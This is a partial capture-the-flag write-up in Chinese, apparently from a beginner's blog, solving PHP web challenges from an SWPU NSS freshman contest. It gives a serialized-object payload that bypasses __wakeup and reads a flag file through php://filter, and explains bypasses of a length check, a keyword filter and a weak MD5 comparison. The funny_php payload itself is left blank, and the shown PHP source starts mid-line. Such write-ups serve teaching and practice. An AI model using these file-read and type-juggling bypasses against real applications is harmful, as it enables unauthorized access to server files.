SWPU NSS新生赛校外通道(部分WP)

题中还有一个知识点，就是魔法函数wakeup的绕过。

最终的payload为

?x=O:1:"X":2:{s:1:"x";s:62:"php://filter/read=convert.base64-encode/resource=fllllllag.php";} 

拿到之后进行base64解码就可以得到flag。

funny_php：

进入环境之后我们可以直接看到源码，如下：

999999999){            echo ":D";            $_SESSION['L1'] = 1;        }else{            echo ":C";        }    }    if(isset($_GET['str'])){        $str = preg_replace('/NSSCTF/',"",$_GET['str']);        if($str === "NSSCTF"){            echo "wow";            $_SESSION['L2'] = 1;        }else{            echo $str;        }    }    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){            echo "Nice!";            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){                    echo "yoxi!";                    $_SESSION['L3'] = 1;                }else{                    echo "X(";                }            }        }else{            echo "G";            echo $_POST['md5_1']."\n".$_POST['md5_2'];        }    }    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){        include('flag.php');        echo $flag;    }    ?>

根据题目我们可以得知，如果最后想要拿到flag，需要将L1,L2,L3三个值都置为1，当让根据题目，想要使L1，L2，L3都为1，我们就需要解决3个问题。

第一题如下：

if(isset($_GET['num'])){        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){            echo ":D";            $_SESSION['L1'] = 1;        }else{            echo ":C";        }    }

题目意思是让我们只用三个字符，来表示比999999999值大，那么我们首先想到的就是科学计数法

可以用1e9来表示。

第二道题如下：

if(isset($_GET['str'])){        $str = preg_replace('/NSSCTF/',"",$_GET['str']);        if($str === "NSSCTF"){            echo "wow";            $_SESSION['L2'] = 1;        }else{            echo $str;        }    }

题目意思是会将你传入字符串中的NSSCTF替换为空，那么我们只需要使用双写来进行绕过即可。

第三道题如下：

if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){            echo "Nice!";            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){                    echo "yoxi!";                    $_SESSION['L3'] = 1;                }else{                    echo "X(";                }            }        }else{            echo "G";            echo $_POST['md5_1']."\n".$_POST['md5_2'];        }    }

很明显，这是一道弱类型的MD5比较，直接传值即可。

payload：

这是我第一次写文章，如果文章里面写的有哪些不足之处，欢迎大家来帮忙指正，我现在还只是一个刚刚入门的小菜鸡，希望大家可以多多包含

来源地址：https://blog.csdn.net/qq_63205508/article/details/127572673